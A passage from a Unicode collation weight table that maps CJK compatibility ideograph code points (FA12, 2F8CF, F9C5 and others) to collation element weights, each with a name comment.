COMPATIBILITY IDEOGRAPH-2F8CD +FA12 ; [.3A6C.0022.0002.6674][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA12 +FA91 ; [.3A6C.0022.0002.6674][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA91 +F9C5 ; [.3A70.002A.0002.6688][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C5 +FA43 ; [.3A67.002B.0002.6691][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA43 +2F8CF ; [.3A67.002B.0002.6691][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CF +FA06 ; [.3A6F.0022.0002.66B4][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA06 +F98B ; [.3A63.0022.0002.66C6][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98B +F901 ; [.3A5E.0033.0002.66F4][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F901 +2F8CC ; [.3A67.002D.0002.66F8][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CC +2F8D4 ; [.3A6C.0023.0002.6700][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D4 +F929 ; [.3A63.0022.0002.6717][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F929 +FA92 ; [.3A63.0022.0002.6717][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA92 +2F8D8 ; [.3A63.0022.0002.6717][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D8 +FA93 ; [.3A64.0025.0002.671B][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA93 +2F8D9 ; [.3A64.0025.0002.671B][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D9 +F9E1 ; [.3A63.0028.0002.674E][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E1 +2F8DC ; [.3A6F.0025.0002.6753][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8DC +FA94 ; [.3A6A.002E.0002.6756][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA94 +2F8DB ; [.3A5E.0038.0002.675E][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8DB +F9C8 ; [.3A60.0021.0002.677B][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C8 +F9F4 ; [.3A63.0021.0002.6797][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F4 +F9C9 ; [.3A63.0023.0002.67F3][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C9 +F9DA ; [.3A63.0023.0002.6817][.3AED.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DA +F97A ; [.3A63.0025.0002.6881][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97A +FA44 ; [.3A64.0027.0002.6885][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA44 +2F8E2 ; [.3A64.0027.0002.6885][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8E2 +F9E2 ; [.3A63.0029.0002.68A8][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E2 +2F8E8 ; [.3A67.0062.0002.6942][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8E8 +2F8EA ; [.3A5E.002A.0002.69EA][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8EA +F914 ; [.3A69.0028.0002.6A02][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F914 +F95C ; [.3A69.0028.0002.6A02][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95C +F9BF ; [.3A69.0028.0002.6A02][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BF +F94C ; [.3A63.0024.0002.6A13][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94C +F931 ; [.3A63.0024.0002.6AD3][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F931 +2F8ED ; [.3A6A.0021.0002.6ADB][.3AEE.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8ED +F91D ; [.3A63.0023.0002.6B04][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91D +2F8EF ; [.3A6C.0028.0002.6B21][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8EF +2F8F1 ; [.3A70.0025.0002.6B54][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F1 +2F8F3 ; [.3A67.0023.0002.6B72][.3AE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F3 +F98C ; [.3A63.0023.0002.6B77][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98C +F9A5 ; [.3A63.0023.0002.6BAE][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A5 +F970 ; [.3A67.0023.0002.6BBA][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F970 +FA96 ; [.3A67.0023.0002.6BBA][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA96 +2F8F5 ; [.3A67.0023.0002.6BBA][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F5 +2F8FA ; [.3A65.0025.0002.6C4E][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8FA +F972 ; [.3A6C.0024.0002.6C88][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F972 +2F8FC ; [.3A69.002B.0002.6CBF][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8FC +F968 ; [.3A6F.0024.0002.6CCC][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F968 +F9E3 ; [.3A60.0022.0002.6CE5][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E3 +F915 ; [.3A63.0021.0002.6D1B][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F915 +FA05 ; [.3A61.002A.0002.6D1E][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA05 +2F900 ; [.3A6F.0029.0002.6D3E][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F900 +F9CA ; [.3A63.0025.0002.6D41][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CA +FA97 ; [.3A63.0025.0002.6D41][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA97 +2F902 ; [.3A63.0025.0002.6D41][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F902 +2F903 ; [.3A70.002E.0002.6D69][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F903 +F92A ; [.3A63.0023.0002.6D6A][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92A +FA45 ; [.3A70.002A.0002.6D77][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA45 +2F901 ; [.3A70.002A.0002.6D77][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F901 +2F904 ; [.3A6C.0025.0002.6D78][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F904 +2F905 ; [.3A69.0022.0002.6D85][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F905 +F9F5 ; [.3A63.0022.0002.6DCB][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F5 +F94D ; [.3A63.0025.0002.6DDA][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94D +F9D6 ; [.3A63.0024.0002.6DEA][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D6 +2F90E ; [.3A69.0026.0002.6DF9][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90E +FA46 ; [.3A6A.002C.0002.6E1A][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA46 +2F908 ; [.3A70.002B.0002.6E2F][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F908 +2F909 ; [.3A69.002B.0002.6E6E][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F909 +F9CB ; [.3A63.0026.0002.6E9C][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CB +F9EC ; [.3A60.0022.0002.6EBA][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EC +FA99 ; [.3A6A.002B.0002.6ECB][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA99 +2F90B ; [.3A6A.002B.0002.6ECB][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90B +F904 ; [.3A70.0022.0002.6ED1][.3AE5.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F904 +F94E ; [.3A63.0026.0002.6F0F][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94E +FA47 ; [.3A70.0026.0002.6F22][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA47 +FA9A ; [.3A70.0026.0002.6F22][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9A +F992 ; [.3A63.0024.0002.6F23][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F992 +2F90F ; [.3A6A.0033.0002.6F6E][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90F +2F912 ; [.3A65.003C.0002.6FC6][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F912 +F922 ; [.3A63.0025.0002.6FEB][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F922 +F984 ; [.3A63.002A.0002.6FFE][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F984 +2F915 ; [.3A69.002D.0002.701B][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F915 +FA9B ; [.3A6A.003D.0002.701E][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9B +2F914 ; [.3A6A.003D.0002.701E][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F914 +2F835 ; [.3A70.002D.0002.7070][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F835 +2F918 ; [.3A6A.002B.0002.707D][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F918 +F9FB ; [.3A6A.002C.0002.7099][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FB +2F91A ; [.3A6E.0028.0002.70AD][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F91A +F99F ; [.3A63.0025.0002.70C8][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99F +F916 ; [.3A63.0022.0002.70D9][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F916 +F993 ; [.3A63.0025.0002.7149][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F993 +FA48 ; [.3A6A.002D.0002.716E][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA48 +FA9C ; [.3A6A.002D.0002.716E][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9C +F9C0 ; [.3A63.0026.0002.71CE][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C0 +F9EE ; [.3A63.0023.0002.71D0][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EE +F932 ; [.3A63.0027.0002.7210][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F932 +F91E ; [.3A63.0026.0002.721B][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91E +2F920 ; [.3A6C.0036.0002.7228][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F920 +FA9E ; [.3A6A.0028.0002.7235][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9E +2F921 ; [.3A6A.0028.0002.7235][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F921 +F946 ; [.3A63.0023.0002.7262][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F946 +2F924 ; [.3A67.0030.0002.7280][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F924 +FA9F ; [.3A65.0027.0002.72AF][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9F +F9FA ; [.3A67.0035.0002.72C0][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FA +F92B ; [.3A63.0024.0002.72FC][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92B +FA16 ; [.3A6A.002E.0002.732A][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA16 +FAA0 ; [.3A6A.002E.0002.732A][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA0 +F9A7 ; [.3A63.0021.0002.7375][.3AE2.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A7 +2F928 ; [.3A61.0023.0002.737A][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F928 +F961 ; [.3A67.0021.0002.7387][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F961 +F9DB ; [.3A67.0021.0002.7387][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DB +2F929 ; [.3A69.0025.0002.738B][.3AE5.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F929 +F9AD ; [.3A63.0027.0002.73B2][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AD +F917 ; [.3A63.0023.0002.73DE][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F917 +F9E4 ; [.3A63.002D.0002.7406][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E4 +F9CC ; [.3A63.0028.0002.7409][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CC +FA4A ; [.3A6E.002B.0002.7422][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4A +2F92F ; [.3A69.003D.0002.745C][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F92F +F9AE ; [.3A70.002D.0002.7469][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AE +FAA1 ; [.3A6A.0057.0002.7471][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA1 +2F930 ; [.3A6A.0057.0002.7471][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F930 +F994 ; [.3A63.0026.0002.7489][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F994 +F9EF ; [.3A63.0024.0002.7498][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EF +2F932 ; [.3A5E.003A.0002.74CA][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F932 +F9CD ; [.3A63.002A.0002.7559][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CD +F976 ; [.3A63.0022.0002.7565][.3ADE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F976 +F962 ; [.3A69.002C.0002.7570][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F962 +2F938 ; [.3A69.002C.0002.7570][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F938 +F9E5 ; [.3A63.002F.0002.75E2][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E5 +2F93A ; [.3A69.0059.0002.7610][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F93A +FAA5 ; [.3A69.0023.0002.761F][.3AE4.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA5 +F9C1 ; [.3A63.0027.0002.7642][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C1 +F90E ; [.3A63.0023.0002.7669][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90E +FA17 ; [.3A69.0022.0002.76CA][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA17 +FAA6 ; [.3A69.0022.0002.76CA][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA6 +FAA7 ; [.3A67.002B.0002.76DB][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA7 +F933 ; [.3A63.0028.0002.76E7][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F933 +FAA8 ; [.3A6A.0021.0002.76F4][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA8 +2F940 ; [.3A6A.0021.0002.76F4][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F940 +F96D ; [.3A67.002C.0002.7701][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96D +2F945 ; [.3A6A.0033.0002.771E][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F945 +FAAA ; [.3A6C.0023.0002.7740][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAA +2F94A ; [.3A6A.0034.0002.778B][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F94A +F9CE ; [.3A63.002C.0002.786B][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CE +F93B ; [.3A63.0021.0002.788C][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93B +2F94F ; [.3A63.0021.0002.788C][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F94F +FA4B ; [.3A65.0038.0002.7891][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4B +F947 ; [.3A63.0024.0002.78CA][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F947 +F964 ; [.3A65.0032.0002.78FB][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F964 +F985 ; [.3A63.002B.0002.792A][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F985 +FA4C ; [.3A67.0046.0002.793E][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4C +FA4E ; [.3A5E.004C.0002.7948][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4E +FA4D ; [.3A6A.0035.0002.7949][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4D +FA4F ; [.3A69.0032.0002.7950][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4F +FA50 ; [.3A6A.0039.0002.7956][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA50 +2F953 ; [.3A6A.0039.0002.7956][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F953 +FA51 ; [.3A6C.0023.0002.795D][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA51 +FA19 ; [.3A67.002C.0002.795E][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA19 +FA1A ; [.3A67.0037.0002.7965][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1A +F93C ; [.3A63.0022.0002.797F][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93C +FA52 ; [.3A70.0027.0002.798D][.3AE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA52 +FA53 ; [.3A6A.0044.0002.798E][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA53 +FA1B ; [.3A65.0028.0002.798F][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1B +2F956 ; [.3A65.0028.0002.798F][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F956 +F9B6 ; [.3A63.0023.0002.79AE][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B6 +F995 ; [.3A60.0023.0002.79CA][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F995 +2F957 ; [.3A6C.0024.0002.79EB][.3AE9.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F957 +F956 ; [.3A63.0023.0002.7A1C][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F956 +FA54 ; [.3A5E.0025.0002.7A40][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA54 +2F959 ; [.3A5E.0025.0002.7A40][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F959 +FA55 ; [.3A61.0022.0002.7A81][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA55 +F9F7 ; [.3A63.0022.0002.7ACB][.3AF0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F7 +F9F8 ; [.3A63.0023.0002.7B20][.3AF0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F8 +FA56 ; [.3A6A.0027.0002.7BC0][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA56 +FAAD ; [.3A6A.0027.0002.7BC0][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAD +2F962 ; [.3A6A.003D.0002.7BC6][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F962 +2F963 ; [.3A6C.0026.0002.7BC9][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F963 +F9A6 ; [.3A63.0025.0002.7C3E][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A6 +F944 ; [.3A63.0026.0002.7C60][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F944 +F9F9 ; [.3A63.0024.0002.7C92][.3AF0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F9 +FA1D ; [.3A6A.0047.0002.7CBE][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1D +FA03 ; [.3A61.0029.0002.7CD6][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA03 +F97B ; [.3A63.0029.0002.7CE7][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97B +2F96A ; [.3A5E.004F.0002.7D00][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96A +F9CF ; [.3A60.0022.0002.7D10][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CF +F96A ; [.3A67.0023.0002.7D22][.3ADD.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96A +F94F ; [.3A63.0028.0002.7D2F][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94F +FAAF ; [.3A6A.0063.0002.7D5B][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAF +2F96C ; [.3A65.0034.0002.7D63][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96C +F93D ; [.3A63.0023.0002.7DA0][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93D +F957 ; [.3A63.0024.0002.7DBE][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F957 +2F96E ; [.3A6C.0030.0002.7DC7][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96E +F996 ; [.3A63.0027.0002.7DF4][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F996 +FA57 ; [.3A63.0027.0002.7DF4][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA57 +FAB0 ; [.3A63.0027.0002.7DF4][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB0 +FA58 ; [.3A6A.0036.0002.7E09][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA58 +F950 ; [.3A63.0029.0002.7E37][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F950 +FA59 ; [.3A65.0026.0002.7E41][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA59 +2F970 ; [.3A67.0052.0002.7E45][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F970 +FAB1 ; [.3A65.0035.0002.7F3E][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB1 +FA5A ; [.3A67.0035.0002.7F72][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5A +F9E6 ; [.3A63.0031.0002.7F79][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E6 +F90F ; [.3A63.0024.0002.7F85][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90F +F9AF ; [.3A63.0029.0002.7F9A][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AF +FA1E ; [.3A69.0036.0002.7FBD][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1E +2F979 ; [.3A5E.005A.0002.7FFA][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F979 +F934 ; [.3A63.0029.0002.8001][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F934 +FA5B ; [.3A6A.0033.0002.8005][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5B +FAB2 ; [.3A6A.0033.0002.8005][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB2 +2F97A ; [.3A6A.0033.0002.8005][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F97A +F9B0 ; [.3A63.002B.0002.8046][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B0 +F997 ; [.3A63.0028.0002.806F][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F997 +2F97F ; [.3A6C.0028.0002.8070][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F97F +F945 ; [.3A63.0027.0002.807E][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F945 +F953 ; [.3A63.0022.0002.808B][.3AEE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F953 +2F8D6 ; [.3A60.0023.0002.80AD][.3AE9.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D6 +2F982 ; 